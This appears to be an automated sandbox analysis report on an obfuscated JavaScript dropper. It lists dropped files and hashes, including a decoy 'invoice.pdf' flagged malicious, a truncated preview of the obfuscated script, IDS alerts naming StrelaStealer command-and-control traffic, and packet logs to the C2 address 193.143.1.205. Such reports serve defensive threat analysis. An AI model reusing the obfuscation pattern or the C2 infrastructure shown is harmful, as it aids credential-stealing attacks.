SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\590af064-4910-44df-bfdb-1ff492243132.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\64dee95e-5a9e-44df-a299-a57495e01edb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\e9282339-091f-43a1-9bfc-5445b1104b2e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/M7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZjZwYIGNPJe:RB3mlind9i4ufFXpAXkrfUs03WLaGZje
MD5:	716C2C392DCD15C95BBD760EEBABFCD0
SHA1:	4B4CE9C6AED6A7F809236B2DAFA9987CA886E603
SHA-256:	DD3E6CFC38DA1B30D5250B132388EF73536D00628267E7F9C7E21603388724D8
SHA-512:	E164702386F24FF72111A53DA48DC57866D10DAE50A21D4737B5687E149FF9D673729C5D2F2B8DA9EB76A2E5727A2AFCFA5DE6CC0EEEF7D6EBADE784385460AF
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18958), with CRLF line terminators
Entropy (8bit):	4.910665751530209
TrID:
File name:	1487427797195518826.js
File size:	22'507 bytes
MD5:	2536abd36d3f093b81eee80c269b7b9c
SHA1:	2ad5ccfbe1b42d602f331663bca977859653d765
SHA256:	5d5b9140fc8eef7c940e74a57c3b84cd187499f22ae77f0e7541b43e691ab40a
SHA512:	38b7e708ecae7ecace4decdcbe1559b2c91b95efdf38d53e1df810f0a4479e79e2fa9b27ec231267bf64ff51cdf345f93483f603ab5dc6472c43afa81c11c469
SSDEEP:	384:SzT7Jg6v8igiXiT/iaWj5fCz9OnaVkC+pBUKcIgOHDduk2HW9RRvVBZt5rs:Sz/N859OnaVkC+pBUKcIgOHDEW9RjvjY
TLSH:	0DA250C8BB00C9CB8ED600913AEB44D903EE68CAD6E6559A4F8E4C49D35275DF0D0EF6
File Content Preview:	function iwtuer(){lsuqvrz=[1031,3079,5127,4103,2055,3072];var idwnszxwy=this[fdzbfrn+rnhxirnhm+tsmxjz+dfegbiudg+ftabvqgns+zsqfsaeg+lzboi+uzmzwodo](this[hxyeccqfv+crbntkz+rahmbdt+tsmxjz+edfocskpi+fdzbfrn+uzmzwodo][jsqlcywz+tsmxjz+ftabvqgns+rnhxirnhm+uzmzwo

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T03:05:16.897996+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.11	49750	193.143.1.205	80	TCP
2025-01-11T03:05:16.897996+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.11	49750	193.143.1.205	80	TCP
2025-01-11T03:05:20.233672+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.11	49770	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 03:05:16.061088085 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.065993071 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.067163944 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.074616909 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.079509020 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.897862911 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.897890091 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.897902012 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.897953033 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.897964954 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.897995949 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.897995949 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.898144960 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.898158073 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.898169994 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.898207903 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.898207903 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.898318052 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.898329020 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.898415089 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.902842999 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.902853966 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.902905941 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:16.946333885 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.946386099 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:16.946444035 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.023508072 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023528099 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023540020 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023677111 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023689985 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023808002 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023809910 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.023809910 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.023818970 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023922920 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023933887 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.023973942 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.023973942 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.024404049 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.024415970 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.024425983 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.024477959 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.024477959 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.024519920 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.024542093 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.024863005 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.025374889 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.025386095 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.025397062 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.025428057 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.025469065 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.025480986 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.025608063 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.026295900 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.026307106 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.026319027 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.026365042 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.026365042 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.081971884 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.082005978 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.082017899 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.082102060 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.113055944 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.113862991 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.150068045 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150080919 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150091887 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150101900 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150113106 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150124073 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150135040 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150145054 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150156021 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150166988 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.150214911 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.150214911 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.151237965 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.151249886 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.151261091 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.151336908 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.151410103 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.151421070 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.151432037 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.151443005 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.151480913 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.151480913 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.152348042 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152358055 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152369976 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152384996 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.152507067 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152560949 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.152718067 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152729034 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152741909 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152780056 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.152780056 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.152864933 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152877092 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152887106 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152898073 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.152910948 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.153122902 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.153683901 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.153695107 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.153707027 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.153970957 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.153981924 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.153991938 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154002905 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154011011 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.154011011 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.154134035 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.154252052 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154297113 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.154575109 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154587030 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154633045 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.154758930 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154769897 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154783010 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154792070 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.154815912 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.154942989 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.171825886 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.171866894 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.171878099 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.171904087 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.203006983 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.203020096 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.203032017 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.203099966 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.203103065 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.203103065 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.238540888 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.238576889 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.238610983 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.274102926 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274214029 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274224997 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274240017 CET	49750	80	192.168.2.11	193.143.1.205
Jan 11, 2025 03:05:17.274255037 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274266005 CET	80	49750	193.143.1.205	192.168.2.11
Jan 11, 2025 03:05:17.274275064 CET	49750	80	192.168.2.11	193.143.1.205
